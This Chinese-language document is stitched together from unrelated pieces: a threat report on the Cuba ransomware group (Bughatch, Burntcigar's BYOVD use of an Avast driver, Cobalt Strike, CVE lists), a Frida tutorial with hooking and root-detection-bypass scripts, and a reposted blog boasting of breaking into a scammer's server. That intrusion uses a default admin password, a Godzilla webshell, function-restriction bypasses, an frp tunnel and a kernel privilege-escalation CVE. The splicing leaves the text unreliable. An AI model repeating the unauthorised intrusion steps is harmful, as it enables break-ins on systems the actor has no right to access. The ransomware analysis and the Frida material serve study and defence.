20.png

SRV_Service上的Bughatch活動

與SRV_STORAGE的情況一樣,惡意軟件將三個文件放入臨時文件夾,然後以相同的順序執行這些文件,連接到相同的地址。

Avast Anti-Rootkit驅動程序在Bughatch成功建立了與C2的連接後,該組織使用了一種日益流行的技術:Bring Your Own Vulnerable Driver (BYOVD)。

21.png

利用易受攻擊的驅動程序

攻擊者在系統中安裝易受攻擊的驅動程序,然後將其用於各種目的,例如終止進程或通過權限升級到內核級別來逃避防禦。

攻擊者被易受攻擊的驅動程序所吸引,因為它們都在內核模式下運行,具有高級別的系統訪問權限。此外,擁有數字簽名的合法驅動程序不會在安全系統中引發任何危險信號,從而幫助攻擊者在更長時間內不被發現。

在攻擊過程中,惡意軟件在臨時文件夾中創建了三個文件:

aswarpot.sys:Avast的合法反rootkit驅動程序,有兩個漏洞:CVE-2022-26522和CVE-2022-206523,允許權限有限的用戶在內核級別運行代碼。

KK.exe:被稱為Burntcigar的惡意軟件。目前發現的文件是一個新的變體,它使用有漏洞的驅動程序來終止進程。

av.bat批處理腳本:一個幫助內核服務運行Avast驅動程序並執行Burntgigar的stager。

對BAT文件和样本數據的分析表明,av.BAT使用sc.exe實用程序創建一個名為“aswSP_ArPot2”的服務,在С\windows\temp\目錄中指定驅動程序的路徑,並將服務類型指定為內核服務。然後,BAT文件在同一sc.exe實用程序的幫助下啟動服務,並運行KK.exe,它連接到易受攻擊的驅動程序。

22.png

.bat文件的內容

Burntcigar在查看Burntcigar時,研究人員注意到的第一件事是PDB文件的路徑,其中包含一個名為“Musor”(俄語中“垃圾”的意思)的文件夾,這更表明cuba組織的成員可能會說俄語。

23.png

KK.exe PDB文件的路徑

找到的樣本是Burntcigar的新版本,在事件發生時安全系統無法檢測到。攻擊者顯然更新了惡意軟件,因為在之前的攻擊之後,許多供應商能夠很容易地檢測到舊版本運行的邏輯。

在下面示例的截屏中,關於要終止的進程的所有數據都是加密的,而舊版本公開顯示了攻擊者想要停止的所有進程的名稱。

24.png

Burntcigar新舊版本的比較

惡意軟件搜索與流行AV或EDR產品有關的進程名,並將其進程ID添加到堆棧中,以便稍後終止。

Burntgigar使用DeviceIoContol函數訪問易受攻擊的Avast驅動程序,將包含安全問題的代碼的位置指定為執行選項。該段代碼包含ZwTerminateProcess函數,攻擊者使用該函數終止進程。

25.png

Burntcigar的分析

之後,研究人員在Exchange服務器和SRV_STORAGE主機上發現了利用Avast anti-rootkit驅動程序的類似活動。在這兩種情況下,攻擊者都使用BAT文件安裝不安全的驅動程序,然後啟動Burntgigar。

26.png

相鄰主機上的BurntChigar活動

SRV_MAIL host (Exchange server)去年12月20日,客戶批准了研究人員將Exchange服務器添加到監控範圍的請求。主機一定是作為客戶網絡的入口點使用的,因為服務器缺少關鍵更新,而且它很容易受到初始訪問的影響。特別是,SRV_MAIL的ProxyLogon、ProxyShell和Zerologon漏洞仍未被修復。這就是為什麼研究人員認為攻擊者通過Exchange服務器滲透到客戶網絡的原因。

27.png

分析數據開始傳入

在SRV_MAIL上,SqlDbAdmin用戶顯示的活動與研究人員在以前的主機上觀察到的活動相同。

28.png

SqlDbAdmin的惡意活動

研究人員發現攻擊者使用合法的gotoassistui.exe工具在受感染的主機之間傳輸惡意文件。

GoToAssist是技術支持團隊經常使用的RDP支持實用程序,但在系統之間移動文件時,該應用程序經常被濫用以繞過任何安全防禦或響應團隊。

29.png

通過gotoassistui.exe發送惡意文件

研究人員還發現新的Bughatch樣本正在執行中。這些使用了略有不同的文件名、回調函數和C2服務器,因為研究人員的系統當時成功地阻止了舊版本的惡意軟件。

30.png

Bughatch活動

SqlDbAdminSqlDbAdmin是一個可疑的DLL addp.DLL,研究人員在一個受攻擊的主機上手動找到了它。

31.png

可疑動態庫

研究人員發現它使用WIN API函數NetUserAdd來創建用戶。名稱和密碼在DLL中進行了硬編碼。

32.png

addp.dll分析

當研究人員進一步研究該庫時,研究人員發現它使用RegCreateKey函數通過修改註冊表設置為新創建的用戶啟用RDP會話。然後,庫將用戶添加到Special Account註冊表樹中,以將其隱藏在系統登錄屏幕之外,這是一種有趣且少見的持久化技術。在大多數情況下,攻擊者在腳本的幫助下添加新用戶,而安全產品很少會遺漏這些腳本。

33.png

addp.dll分析

Cobalt Strike研究人員發現Exchange服務器上運行了一個可疑的DLL ion.DLL,該DLL是rundll32進程的一部分,具有異常的執行選項。起初,研究人員認為這種活動與之前在Bughatch中看到的類似。然而,進一步的分析表明,該庫實際上是一個Cobalt Strike。

34.png

執行可疑的ion.dll文件

當研究人員查看ion.dll代碼時,引起研究人員注意的是執行設置和使用Cobalt Strike配置的函數。該庫使用VirtualAlloc函數來分配進程內存,以便稍後執行Cobalt Strike Beacon負載。

35.png

對ion.dll的分析

所有的配置數據都是加密的,但研究人員確實找到了用於解密的函數。為了找到Cobalt Strike C2服務器,研究人員檢查了加載了ion.dll的rundll32內存轉儲,並使用與受害者主機相同的設置運行。

36.png

rundll32內存轉儲

找出C2的名稱有助於研究人員在監測數據中定位與該服務器的通信歷史。惡意軟件連接到C2後,它將兩個可疑文件下載到受感染服務器上的Windows文件夾中,然後執行這些文件。不幸的是,研究人員無法獲得這兩個文件進行分析,因為攻擊者未能在上一步禁用安全功能,這些文件被從受感染的主機上刪除。不過,研究人員確實相信,他們正在處理的是勒索軟件本身。

37.png

與攻擊者的C2服務器通信

客戶立即隔離了受影響的主機,並將事件轉發給卡巴斯基事件響應團隊,以便進一步調查和搜索可能的工件。這是研究人員最後一次在客戶系統中看到攻擊者的活動。由於客戶遵循了研究人員的建議和指示,並及時對事件做出了響應,主機避免了加密。

新惡意軟件研究人員發現VirusTotal包含cuba惡意軟件的新樣本,其文件元數據與上述事件中的文件元數據相同。其中一些樣本成功地躲過了所有網絡安全供應商的檢測。研究人員對每個樣本進行了分析。正如你從下面的屏幕截圖中看到的,這些是Burntcigar的新版本,使用加密數據進行反惡意軟件規避。研究人員已經制定了檢測這些新樣本的Yara規則。

38.png

新的惡意軟件樣本

BYOVD (Bring Your Own Vulnerable Driver)BYOVD,全稱為Bring your own vulnerable driver,即攻擊者向目標環境植入一個帶有漏洞的合法驅動程序,再通過漏洞利用獲得內核權限以殺死/致盲終端安全軟件等,這項技術最初主要被如Turla和方程式這樣的頂級APT組織所使用,而隨著攻擊成本的降低,其它攻擊組織也逐漸開始使用這項技術,以BYOVD為標籤進行檢索可以發現在更早些時候就已經有不同的攻擊組織在真實攻擊活動中使用此項技術

研究人員在調查該事件時觀察到了這種攻擊,隨著各種APT和勒索軟件組織將其添加到他們的武器庫中,這種攻擊目前越來越受歡迎。

Bring Your Own Vulnerable Driver (BYOVD)是一種攻擊類型,攻擊者使用已知包含安全漏洞的合法簽名驅動程序在系統內執行惡意操作。如果成功,攻擊者將能夠利用驅動程序代碼中的漏洞在內核級別運行任何惡意操作。

要理解為什麼這是最危險的攻擊類型之一,需要快速復習一下驅動程序是什麼。驅動程序是一種軟件,它充當操作系統和設備之間的中介。驅動程序將操作系統指令轉換為設備可以解釋和執行的命令。驅動程序的進一步用途是支持操作系統最初缺乏的應用程序或功能。從下圖中可以看到,驅動程序是介於用戶模式和內核模式之間的一層。

39.png

用戶模式和內核模式交互圖

在用戶模式下運行的應用程序控制系統的權限較少。他們所能訪問的只是一個與系統其他部分隔離和保護的虛擬內存區域。驅動程序在內核內存中運行,它可以像內核本身一樣執行任何操作。驅動程序可以訪問關鍵的安全結構並對其進行修改。這樣的修改使系統容易受到使用權限提升、禁用操作系統安全服務以及任意讀寫的攻擊。

2021年,Lazarus組織利用這一技術,通過濫用包含CVE-2021-21551漏洞的戴爾驅動程序,獲得了對內核內存的寫訪問權限,並禁用了Windows安全功能。

2021年,Dell 被爆出一個潛藏12年的驅動漏洞,CVE編號CVE-2021-21551,漏洞可能引發系統權限提升,預計超過數億Dell 台式機和筆記本電腦受到該漏洞的的影響。

CVE-2021-21551漏洞實際上是5個漏洞的集合,是Dell計算機在BIOS 更新過程中安裝和加載的驅動DBUtil 中的安全漏洞。

沒有針對合法驅動程序的萬無一失的防禦,因為任何驅動程序都可能被證明存在安全漏洞。微軟發布了一份針對此類技術的保護建議列表:

啟用管理程序保護的代碼完整性。

啟用內存完整性。

啟用驅動程序數字簽名驗證。

使用易受攻擊的驅動程序列表。

然而,研究表明,即使啟用了所有Windows保護功能,這些建議也無關緊要,而且這樣的攻擊無論如何都會發生。

為了對抗這種技術,許多安全供應商開始在他們的產品中添加一個自衛模塊,以防止惡意軟件終止進程,並阻止每一次利用易受攻擊的驅動程序的嘗試。研究人員的產品也具有這一功能,在事件中證明是有效的。

總結cuba組織使用了大量的公開和定制工具,並不斷通過最新的各種技術和方法,包括相複雜的技術和方法(如BYOVD)。預防這種複雜程度的攻擊需要能夠檢測高級威脅並保護安全功能不被禁用的複雜技術,以及有助於手動檢測惡意工件的大規模、持續更新的威脅知識庫。

本文中詳細介紹的樣本表明,對真實網絡攻擊的調查和事件響應,如管理檢測和響應(MDR),是有關惡意策略、技術和程序的最新信息的來源。特別是,在這次調查中,研究人員發現了cuba惡意軟件的新樣本和以前未被發現的樣本,以及表明至少有一些組織成員會說俄語的工件。

確保軟件產品的安全性和可靠性是現代企業面臨的最大挑戰之一。隨著產品的發展,每個新功能都會為潛在的安全漏洞和性能瓶頸打開大門。

動態分析和逆向工程是允許開發人員在應用程序運行時探索其內部工作原理的兩種方法。借助這些見解,開發人員可以識別漏洞並發現潛在的安全問題。

在本文中,您將學習如何使用Frida 動態分析您的應用程序並發現漏洞。我們將根據我們自己的項目經驗向您展示Frida 工具的實際應用示例。本文對於想要確保其產品受到保護的安全研究人員、CTO 和CSO 非常有用。

什麼是動態分析以及為什麼它很重要?動態分析和逆向工程是企業增強產品安全性的兩種重要網絡安全方法。

動態分析允許網絡安全專家評估軟件運行時的行為。這對於:

漏洞檢測——發現潛在漏洞併計劃網絡安全增強,以保護您的產品免受數據洩露

真實世界模擬— 了解您的產品在現實條件下的表現,使您能夠從用戶的角度檢查您的產品,並了解它如何處理敏感數據和關鍵操作

性能優化——除了安全性之外,動態分析還有助於優化應用程序性能,從而幫助您改善產品的用戶體驗並優化基礎設施成本

合規保證——在潛在的違規行為導致合規違規和處罰之前識別它們

動態分析用於逆向工程,即使沒有源代碼或文檔,開發人員也可以剖析軟件並了解其內部工作原理。

在Apriorit,我們專注於逆向工程,並利用它來幫助企業評估和提高其軟件的安全性。這包括保護其免受可能導致重大聲譽和金錢損失的違規、惡意軟件攻擊和數據洩露。

有許多工具可以讓企業進行動態分析和逆向工程。在我們的逆向項目中,我們經常使用Frida。

Frida是什麼? Frida是一個動態開源檢測工具包,允許開發人員和逆向工程師將JavaScript 代碼注入正在運行的應用程序中。注入使開發人員能夠實時跟踪函數調用、修改函數行為和攔截數據,使其成為動態分析的寶貴工具。

Frida 提供了一套全面的API,可用於與正在運行的應用程序進行交互。

image.png

Frida 的體系結構基於客戶端-服務器模型。 Frida 服務器在目標設備或計算機上運行,而客戶端用於與服務器交互並將JavaScript 代碼注入正在運行的應用程序中。

讓我們看幾個示例,了解您可以使用Frida 執行哪些動態應用程序分析任務。我們將從桌面應用程序開始。

使用Frida 對桌面應用程序進行動態分析Frida 支持Windows、macOS 和Linux,使其成為分析桌面應用程序的可靠選擇,無論它們運行在何種操作系統上。讓我們看看您可以使用Frida 執行的一些任務。

在執行任何動態分析或操作操作之前,我們需要將Frida 注入到我們的桌面應用程序中。這是一個相對簡單的過程:

在目標系統上安裝Frida。

使用命令frida-server -l 0.0.0.0.這將啟動Frida 服務器並使其可供網絡上的其他設備訪問。

將Frida 客戶端附加到目標進程並註入Frida 腳本。

在Windows 桌面應用程序中掛鉤MessageBox為了演示如何使用Frida 掛鉤函數,讓我們考慮在Windows 桌面應用程序中掛鉤MessageBox函數的示例。該函數用於向用戶顯示消息框,使其成為動態分析的絕佳目標。

要使用Frida 掛鉤MessageBox函數,我們首先需要編寫一個Frida 腳本。該腳本將附加到目標進程,找到MessageBox 函數的地址,並使用攔截器掛鉤該函數。這是我們的一個項目中的自定義腳本:

image.png

在此腳本中,我們使用Module.findBaseAddress查找user32.dll 庫的基地址,其中包含MessageBox函數。然後,我們使用findExportByName方法獲取MessageBox函數的地址(對於私有方法,我們可以使用帶有偏移量的add)。最後,我們使用Interceptor.attach來掛鉤MessageBox函數,在調用該函數時將消息記錄到控制台。

要運行此腳本,請將其保存到文件(例如hook_messagebox.js)並使用以下命令運行Frida 客戶端:

image.png

這會將Frida 連接到目標進程並註入腳本。當目標進程調用MessageBox函數時,Frida將攔截該函數並將消息記錄到控制台。

在macOS 桌面應用程序中修改NSURLRequestFrida 在桌面應用程序中的另一個強大功能是實時修改數據。例如,讓我們考慮使用NSURLRequest發出HTTP 請求的macOS 桌面應用程序的情況。我們可以使用Frida 在發送HTTP 請求之前對其進行修改,從而使我們能夠繞過安全措施或修改應用程序的行為。

要使用Frida 修改macOS 桌面應用程序中的NSURLRequest,我們首先需要編寫一個Frida 腳本。該腳本將附加到目標進程,查找NSURLRequest對象的地址,並使用JavaScript 修改其屬性。這是一個例子:

functionmodify_nsurlrequest(){

//FindtheaddressoftheNSURLRequestobject

varrequestPtr=null;

varobjc_msgSend=newNativeFunction(Module.findExportByName('libobjc.A.dylib','objc_msgSend'),'pointer',['pointer','pointer']);

Interceptor.attach(objc_msgSend,{

onEnter:function(args){

varsel=ObjC.selectorAsString(args[1]);

if(sel==='initWithURL:cachePolicy:timeoutInterval:'){

requestPtr=args[0];

}

},

onLeave:function(retval){

if(requestPtr!==null){

varrequest=newObjC.Object(requestPtr);

request.setValue_forHTTPHeaderField_('my-custom-header','X-Custom-Header');

requestPtr=null;

}

}

});

}

//Attachtothetargetprocessandwaitforittostart

Process.enumerateApplications({

onMatch:function(info){

if(info.name==='TargetApp'){

console.log('Attachingto'+info.name+'('+info.pid+')');

//Attachtotheprocessandwaitforitsmainmoduletobeloaded

Process.attach(info.pid,{

onModuleLoaded:function(module){

if(module.name==='TargetApp'){

//Waitforthescriptruntimetobeready

setTimeout(modify_nsurlrequest,0);

}

}

});

}

},

onComplete:function(){

console.log('Failedtofindtargetprocess');

}

});該腳本使用objc_msgSend函數攔截對NSURLRequest類的initWithURL:cachePolicy:timeoutInterval:方法的調用。當調用這個方法時,我們保存初始化的NSURLRequest對象的地址。當該方法返回時,我們創建一個代表NSURLRequest對象的ObjC.Object實例,並根據需要修改其屬性。

接下來,我們使用Process.enumerateApplications按名稱查找目標進程。找到進程後,我們使用Process.attach附加到它並等待其主模塊加載。當主模塊加載時,我們調用setTimeout函數來安排在下一次事件循環迭代期間對修改_nsurlrequest函數的調用,從而為腳本運行時提供完全初始化的機會。

一旦調用了modify_nsurlrequest函數,它將攔截對NSURLRequest初始化方法的調用,並根據需要修改任何初始化的NSURLRequest對象的屬性。

這些只是您可以在桌面應用程序中使用Frida 執行的動態分析任務的幾個示例。現在讓我們看一下Frida 在移動應用程序中的用途。

使用Frida 對移動應用程序進行動態分析動態分析是識別移動應用程序中漏洞的有效方法,因為它使我們能夠實時監控應用程序行為。

Frida 可用於對Android 和iOS 應用程序執行動態分析。借助Frida,我們可以連接正在運行的應用程序並監視其行為,包括函數調用、網絡流量和內存使用。

要使用Frida對應用程序進行動態分析,我們首先需要將應用程序安裝在物理或虛擬設備上。然後,我們可以將Frida 附加到正在運行的進程並開始監視應用程序的行為。

Frida 可用於未root、已root 和越獄的設備。 Frida 官方文檔中詳細描述了安裝。通常,它涉及在目標設備上運行run frida-server 命令並在調試模式下使用USB 連接到目標設備。

讓我們看一些示例,了解如何使用Frida 在移動應用程序上運行動態分析。

繞過根檢測許多開發人員實施root 檢測以防止用戶在root 設備上運行其應用程序。然而,使用Frida 的動態分析可以繞過這個問題。

讓我們看一個使用Frida 繞過Android 應用程序中的root 檢測的示例。在這種情況下,我們假設應用程序正在使用SafetyNet API 來檢查設備是否已獲得root 權限。

為了繞過root 檢測,我們將使用Frida 攔截對SafetyNet API 的調用並修改返回值以指示設備未獲得root 權限。下面是實現此目的的JavaScript 代碼:

image.png

然而,現代移動應用程序和系統通常採用多層安全措施來檢測和防止各種形式的篡改和未經授權的訪問。因此,繞過當代應用程序和系統中的根檢測可能需要更廣泛和復雜的掛鉤技術。

您可以在CodeShare上找到這些技術和實施示例。

篡改API 調用移動應用程序通常使用API 與後端服務器進行通信。通過篡改API 調用,攻擊者可以修改應用程序行為或竊取敏感數據。

我們將在Frida 動態儀器中合乎道德地使用這項技術。篡改API 調用可以幫助您評估應用程序的整體安全性、檢查流量和監控行為。

Frida 允許篡改iOS 應用程序中的API 調用。在本例中,我們假設應用程序正在使用URLSession API 向後端服務器發出請求。

為了篡改API 調用,我們將使用Frida 攔截對URLSession API 的調用並在請求發送到服務器之前修改請求。這是實現此目的的代碼:

image.png

通過篡改API調用,您可以評估應用程序的安全漏洞。在Apriorit,我們使用這種方法來模擬各種攻擊場景,並識別應用程序處理數據、與服務器通信或響應意外輸入的方式中的潛在弱點。

與Frida 進行逆向工程您可以使用Frida 進行逆向工程。它提供了一個動態分析環境,可幫助您檢查應用程序在運行時的行為方式。 Frida 允許我們掛鉤應用程序的執行流程,監視和操作函數調用和參數,並攔截應用程序發送或接收的數據。

在Apriorit,我們使用Frida 執行各種逆向工程任務,例如:

提取加密密鑰

分析網絡流量

跟踪系統調用

識別惡意軟件行為

研究專有協議

分析二進制代碼

還有其他活動,例如使用Frida 進行惡意軟件檢測,允許網絡安全專家對惡意軟件進行逆向工程。

在本指南中,我們使用Android 應用程序作為示例演示前三個任務。 Frida 特別適合Android 平台,而其他工具可能更適合桌面和iOS 平台上的逆向工程任務。

提取加密密鑰Apriorit 安全專家團隊使用Frida 提取應用程序使用的加密密鑰來保護敏感數據。通過連接應用程序的加密函數,我們可以攔截應用程序生成或使用的密鑰並記錄它們以供進一步分析。

以下是使用Frida 從應用程序中提取加密密鑰的腳本示例:

image.png

該腳本掛鉤javax.crypto.KeyGenerator和javax.crypto.Cipher類並攔截它們的函數調用。當KeyGenerator初始化新密鑰時,腳本會記錄密鑰大小並生成密鑰。當使用密鑰初始化Cipher時,腳本會記錄有關密鑰的信息。

分析網絡流量Frida 可用於通過連接網絡功能並攔截應用程序發送或接收的數據來分析應用程序的網絡流量。這對於識別通過網絡傳輸的敏感數據以及了解應用程序如何與外部服務進行通信非常有用。

下面是一個使用Frida 攔截網絡流量的示例腳本:

Java.perform(function(){

varURL=Java.use('java.net.URL');

varHttpURLConnection=Java.use('java.net.HttpURLConnection');

varOutputStreamWriter=Java.use('java.io.OutputStreamWriter');

varBufferedReader=Java.use('java.io.BufferedReader');

//Intercepttherequest

HttpURLConnection.getOutputStream.implementation=function(){

varoutputStream=this.getOutputStream();

varrequestMethod=this.getRequestMethod();

varurl=this.getURL().toString();

//PrintouttherequestmethodandURL

console.log('[+]Intercepted'+requestMethod+'requestto'+url);

//Readtherequestbody

varrequest='';

//GettheInputStreamobject

varinputStream=this.getInputStream();

//CreateanewInputStreamReaderobject

varinputStreamReader=InputStreamReader.$new.overload('java.io.InputStream','java.lang.String')(inputStream,'UTF-8');

//CreateanewBufferedReaderobject

varBufferedReader_instance=BufferedReader.$new.overload('java.io.Reader')(inputStreamReader);

varline='';

while((line=BufferedReader_instance.readLine())!=null){

request+=line;

}

//Printouttherequestbody

console.log('[+]Requestbody:'+request);

//Modifytherequest

if(requestMethod=='POST'){

varmodifiedRequest='param1=value1param2=value2';

console.log('[+]Modifyingrequestbodyto:'+modifiedRequest);

//GettheOutputStreamWriterconstructor

varOutputStreamWriter=Java.use('java.io.OutputStreamWriter');

//GettheCharsetandStandardCharsetsclasses

varCharset=Java.use('java.nio.charset.Charset');

varStandardCharsets=Java.use('java.nio.charset.StandardCharsets');

//GettheOutputStreamobject

varoutputStream=this.getOutputStream();

//GettheUTF-8Charsetobject

varutf8Charset=StandardCharsets.UTF_8;

//CreateanewOutputStreamWriterobject

varoutputStreamWriter=OutputStreamWriter.$new.overload('java.io.OutputStream','java.nio.charset.Charset')(outputStream,utf8Charset);

outputStreamWriter.write(modifiedRequest);

outputStreamWriter.flush();

outputStreamWriter.close();

}

returnoutputStream;

};

//Intercepttheresponse

HttpURLConnection.getInputStream.implementation=function(){

varinputStream=this.getInputStream();

//Readtheresponsebody

varresponse='';

//GettheInputStreamobject

varinputStream=this.getInputStream();

//CreateanewInputStreamReaderobject

varinputStreamReader=InputStreamReader.$new.overload('java.io.InputStream','java.lang.String')(inputStream,'UTF-8');

//CreateanewBufferedReaderobject

varBufferedReader_instance=BufferedReader.$new.overload('java.io.Reader')(inputStreamReader);

varline='';

while((line=BufferedReader_instance.readLine())!=null){

response+=line;

}

//Printouttheresponsebody

console.log('[+]Responsebody:'+response);

returninputStream;

};

});該腳本攔截HTTP 請求和應用程序響應並顯示有關它們的信息,包括:

請求方式

網址

請求正文

響應體

它還演示瞭如何使用

朋友突然告诉我,某转买手机被骗了1200块钱,心理一惊,果然不出所料,那我来试试吧。

图片


要来了诈骗网站地址,打开是这种:图片
果断收集一下信息:(由于留言骗子返还朋友钱款,暂时给他留点面子,打点马赛克)
图片查看端口,一猜就是宝塔面板搭建图片开着80,那就访问一下:图片从官网查找客服软件的教程。发现后台路径为:/admin图片直接访问果然发现:图片想也没想,直接admin:123456,没想到的是进去了哈哈哈:图片下一步当然是getshell,找了一圈发现直接可编辑语言配置文件:图片这里使用简单的一句话还给我封了ip丫的,看了一眼竟然用云盾,这骗子还有点安全意识,那只好祭出我的哥斯拉杀器(直接带bypass function的,也好用对不):图片好家伙,禁用的函数如此之多,那行吧,绕过呗图片文件管理时发现限制目录读取:

图片

直接使用哥斯拉的目录访问绕过:

图片

最后目录浏览时发现php存在多个版本,本人php5提权不太熟悉(哥斯拉不适用哈哈),看见php7后果断找其他站点:图片访问其他站点都能访问,解析ip都是这个,终于发现一个php7的

图片


终于发现一个php7的,但是linux版本内核很新啊,看来提权是个麻烦

图片

而后不出所料,哥斯拉的函数绕过可执行命令:图片执行后直接获取低权限shell:

图片

是www用户,权限很低。
在目录下还发现了一个杀猪盘工具:框框

图片

可以一键生成诈骗详情链接:
图片

(现在大家知道不要相信qq微信交易的重要性了吧,这种杀猪盘很容易坑人)

最后根据收集到的数据库链接等信息准备进数据库里看一眼,哥斯拉的链接有问题:

图片

于是搭建frp到骗子服务器访问:

图片


信息:图片图片

图片



由于www用户无法写入mysql目录.so文件,无法使用mysql提权。
sudo一直要使用www密码,结果也是无法使用sudo。
有suid位的命令如表,
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/at
/usr/bin/sudo
/usr/bin/crontab
/usr/bin/passwd
/usr/sbin/grub2-set-bootflag
/usr/sbin/unix_chkpwd
/usr/sbin/pam_timestamp_check
/usr/lib/polkit-1/polkit-agent-helper-1
最后使用CVE-2018-18955
https://www.freebuf.com/news/197122.html
图片最后已将整理完的信息提交朋友和警方,就没再深入。



本文转载自于原文链接:https://xz.aliyun.com/t/9200
https://mp.weixin.qq.com/s?__biz=Mzg2NDYwMDA1NA==&mid=2247486388&idx=1&sn=cfc74ce3900b5ae89478bab819ede626&chksm=ce67a12df910283b8bc136f46ebd1d8ea59fcce80bce216bdf075481578c479fefa58973d7cb&scene=21#wechat_redirect

我們會在本文詳細介紹cuba組織的歷史及其攻擊戰術、技術和程序。

cuba勒索軟件組織於2020年末首次被卡巴斯基殺毒軟件發現。當時,還沒有採用“cuba”這個名字,而是被稱為“Tropical Scorpius”。

cuba主要針對美國、加拿大和歐洲的組織。該組織對石油公司、金融服務、政府機構和醫療保健提供者發動了一系列攻擊。

與最近大多數網絡勒索組織一樣,cuba組織對受害者的文件進行加密,並要求贖金以換取解密密鑰。該組織使用複雜的戰術和技術來滲透受害者網絡,例如利用軟件漏洞和社會工程。已知它們使用受攻擊的遠程桌面(RDP)連接進行初始訪問。

cuba組織的確切起源和成員身份目前尚不清楚,儘管一些研究人員認為它可能是另一個臭名昭著的勒索組織Babuk的繼承者。與許多其他同類組織一樣,cuba組織是一家勒索軟件即服務(RaaS)機構,允許其合作夥伴使用勒索軟件和相關基礎設施,以收取一定比例的贖金。

該組織自成立以來已多次更名,先後使用了:

ColdDraw

TropicalScorpius

Fidel

Cuba今年2月,又發現了這個組織的另一個名字——“V Is Vendetta”,這與攻擊者們最喜歡的cuba主題不同,很可能是一個分支機構或附屬公司使用的綽號。該組織與cuba組織有一個明顯的聯繫。這個新發現的組織的網站託管在cuba域:

http[:]//test[.]cuba4ikm4jakjgmkezytyawtdgr2xymvy6nvzgw5cglswg3si76icnqd[.]onion/。

2.png

V IS VENDETTA網站

截止發文時,cuba仍然很活躍。

受害者分析該組織攻擊了世界很多地區的公司,包括零售商、金融和物流服務、政府機構和製造商等。就地理位置而言,大多數受攻擊的公司都位於美國,但在加拿大、歐洲、亞洲和澳大利亞也有少數受害者。

3.png

cuba受害者的地理分佈

勒索軟件cuba勒索軟件是一個沒有外掛庫的單一文件。樣本通常有偽造的編譯時間戳:2020年發現的樣本蓋有2020年6月4日的印章,而最近的樣本卻是1992年6月19日。

cuba勒索模式4.png

勒索模式

就用於向受害者施壓的工具而言,目前存在四種勒索模式。

單一勒索:加密數據並索要贖金。

雙重勒索:除了加密,攻擊者還竊取敏感信息。這是當今勒索軟件組織中最流行的模式。

三重勒索:在雙重勒索的基礎上實施DDoS攻擊。在LockBit組織受到DDoS攻擊後,該模型開始廣泛傳播。在成為攻擊目標後,攻擊者意識到DDoS是一種有效的勒索手段。

第四種模式是最不常見的,威脅最大,但成本也最高。它利用了投資者、股東和客戶中對數據洩露消息新聞的缺乏信任。在這種情況下,沒有必要進行DDoS攻擊。這種模式的例證是最近弗吉尼亞州布魯菲爾德大學(Bluefield University)遭遇的攻擊者攻擊,AvosLocker勒索軟件團伙劫持了學校的緊急廣播系統,向學生和員工發送短信和電子郵件提醒,告知他們的個人數據被盜。攻擊者們敦促不要相信學校的管理層,他們說校方隱瞞了入侵的真實規模,並敦促他們盡快將情況公之於眾。

cuba組織使用經典的雙重勒索模型,用Xsalsa20對稱算法加密數據,用RSA-2048非對稱算法加密密鑰。這被稱為混合加密,一種加密安全的方法,可以防止在沒有密鑰的情況下解密。

cuba勒索軟件示例避免加密具有以下擴展名的文件:exe、dll、sys、ini、lnk、vbm、Cuba,以及以下文件夾:

马云惹不起马云\windows\

马云惹不起马云\programfiles\microsoftoffice\

马云惹不起马云\programfiles(x86)\microsoftoffice\

马云惹不起马云\programfiles\avs\

马云惹不起马云\programfiles(x86)\avs\

马云惹不起马云\$recycle.bin\

马云惹不起马云\boot\

马云惹不起马云\recovery\

马云惹不起马云\systemvolumeinformation\

马云惹不起马云\msocache\

马云惹不起马云\users\allusers\

马云惹不起马云\users\defaultuser\

马云惹不起马云\users\default\

马云惹不起马云\temp\

马云惹不起马云\inetcache\

马云惹不起马云\google\勒索軟件通過搜索和加密%AppData\Microsoft\Windows\Recent\目錄中的Microsoft Office文檔、圖像、檔案和其他文件而不是設備上的所有文件來節省時間。它還終止所有SQL服務以加密任何可用的數據庫。它在本地和網絡共享內部查找數據。

5.png

cuba勒索軟件終止的服務列表

除了加密,該組織還竊取受害者組織內部發現的敏感數據。大多數情況下,他們會盯著以下文件:

马云惹不起马云 財務文件

马云惹不起马云銀行對賬單

马云惹不起马云公司賬戶明細

马云惹不起马云源代碼,如果該公司是軟件開發人員

cuba使用的攻擊工具該組織使用了經典憑據訪問工具,如mimikatz,也採用了自寫應用程序。它利用了受害公司使用的軟件中的漏洞,大多數是已知的漏洞,例如ProxyShell和ProxyLogon組合攻擊Exchange服務器,以及Veeam數據備份和恢復服務中的安全漏洞。

6.png

惡意軟件

Bughatch

Burntcigar

Cobeacon

Hancitor(Chanitor)

Termite

SystemBC

Veeamp

Wedgecut

RomCOMRAT 7.png

工具

Mimikatz

PowerShell

PsExec

RemoteDesktopProtocol 8.png

漏洞

ProxyShell:

CVE-2021-31207

CVE-2021-34473

CVE-2021-34523

ProxyLogon:

CVE-2021-26855

CVE-2021-26857

CVE-2021-26858

CVE-2021-27065

Veeamvulnerabilities:

CVE-2022-26501

CVE-2022-26504

CVE-2022-26500

ZeroLogon:

CVE-2020-1472 9.png

將攻擊武器庫映射到MITRE ATTCK®戰術

利潤攻擊者在勒索通知中提供了比特幣錢包的標識符,這些比特幣錢包的進出款總額超過3600個比特幣,按1個比特幣兌換28624美元的價格換算,價值超過1.03億美元。該團伙擁有眾多錢包,不斷在這些錢包之間轉移資金,並使用比特幣混合器,通過一系列匿名交易發送比特幣的服務,使資金的來源更難追踪。

10.png

部分BTC網絡中交易

樣本分析Host: SRV_STORAGE去年12月19日,研究人員在客戶主機上發現了可疑活動,將其稱之為“SRV_STORAGE”。數據顯示了三個可疑的新文件:

11.png

卡巴斯基SOC發現的可疑事件

對kk65.bat的分析表明,它充當了一個stager,通過啟動rundll32並將komar65庫加載到其中來啟動所有進一步的活動,該庫運行回調函數DLLGetClassObjectGuid。

12.png

.bat文件的內容

讓研究人員看看可疑的DLL內部。

Bughatchkomar65.dll庫也被稱為“Bughatch”,這是Mandiant在一份報告中給出的名字。

首先可疑的是PDB文件的路徑。裡面有個文件夾叫“mosquito”,俄語翻譯為“komar”,它是DDL名稱的一部分,表明該團伙可能包括說俄語的人。

13.png

komar65.dll PDB文件的路徑

當連接到以下兩個地址時,DLL代碼將Mozilla/4.0作為用戶代理:

Com,顯然用於檢查外部連接;

該組織的指揮控制中心,如果初始ping通過,惡意軟件將嘗試回調。

14.png

komar65.dll分析

以上就是在受感染的宿主身上觀察到的活動。在Bughatch成功地與C2服務器建立連接後,它開始收集網絡資源上的數據。

15.png

Bughatch活動

